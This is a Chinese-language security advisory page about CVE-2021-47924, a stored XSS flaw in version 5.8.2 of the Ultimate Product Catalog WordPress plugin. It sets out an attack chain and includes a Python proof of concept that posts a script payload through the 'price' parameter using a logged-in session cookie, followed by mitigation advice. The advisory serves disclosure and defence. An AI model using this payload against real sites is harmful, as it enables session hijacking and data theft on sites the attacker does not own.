IPBUF安全漏洞报告
English
CVE-2021-47924 CVSS 6.4 中危

CVE-2021-47924: Ultimate Product Catalog 存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47924
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ultimate Product Catalog

相关标签

XSSStored XSSWordPressUltimate Product CatalogCVE-2021-47924Web Security

漏洞概述

Ultimate Product Catalog插件5.8.2版本存在存储型跨站脚本(XSS)漏洞。由于未对用户输入进行充分过滤,经过身份验证的攻击者可以通过“price”参数注入恶意脚本。当管理员或其他用户查看受影响的产品时,恶意脚本将在其浏览器中执行,可能导致会话劫持或数据窃取。

技术细节

该漏洞源于Ultimate Product Catalog插件在处理产品数据时缺乏严格的输入验证和输出编码机制。具体来说,漏洞出现在`post.php`接口中,攻击者可以利用低权限账户(PR:L)发送特制的HTTP POST请求。攻击者将HTML或JavaScript代码注入到`price`参数中,后端直接将其存储到数据库而未进行转义。由于漏洞影响范围为S:C(Scope Changed),当具有更高权限的用户(如管理员)或普通用户访问包含该恶意产品的页面时,浏览器会解析并执行存储的恶意脚本。利用此漏洞,攻击者可窃取Cookie、篡改页面内容或执行未授权操作。

攻击链分析

STEP 1
步骤1
攻击者侦察并确定目标站点使用了Ultimate Product Catalog插件。
STEP 2
步骤2
攻击者注册或获取目标WordPress站点的低权限账户。
STEP 3
步骤3
攻击者向`post.php`发送包含恶意JavaScript代码的POST请求,将payload注入到`price`参数中。
STEP 4
步骤4
恶意脚本被存储在数据库中,等待受害者访问。
STEP 5
步骤5
管理员或用户在查看包含该产品的页面时,触发脚本执行,导致攻击生效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://vulnerable-site/wp-content/plugins/ultimate-product-catalogue/post.php" # Attacker's authenticated session cookie cookies = { "wordpress_logged_in_xxx": "attacker_session_token" } # Malicious payload injected via the price parameter payload = "<script>alert('CVE-2021-47924-XSS');</script>" # Data to be sent in the POST request post_data = { "price": payload, "action": "update_product", "product_id": "1" } try: # Send the malicious request response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the product page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Ultimate Product Catalog 5.8.2

防御指南

临时缓解措施
建议立即检查并更新Ultimate Product Catalog插件至官方发布的修复版本。如果暂时无法升级,应部署Web应用防火墙(WAF)规则,拦截针对`post.php`接口且包含`<script>`、`onerror`等可疑字符的请求,并暂时限制普通用户编辑产品价格的功能。

参考链接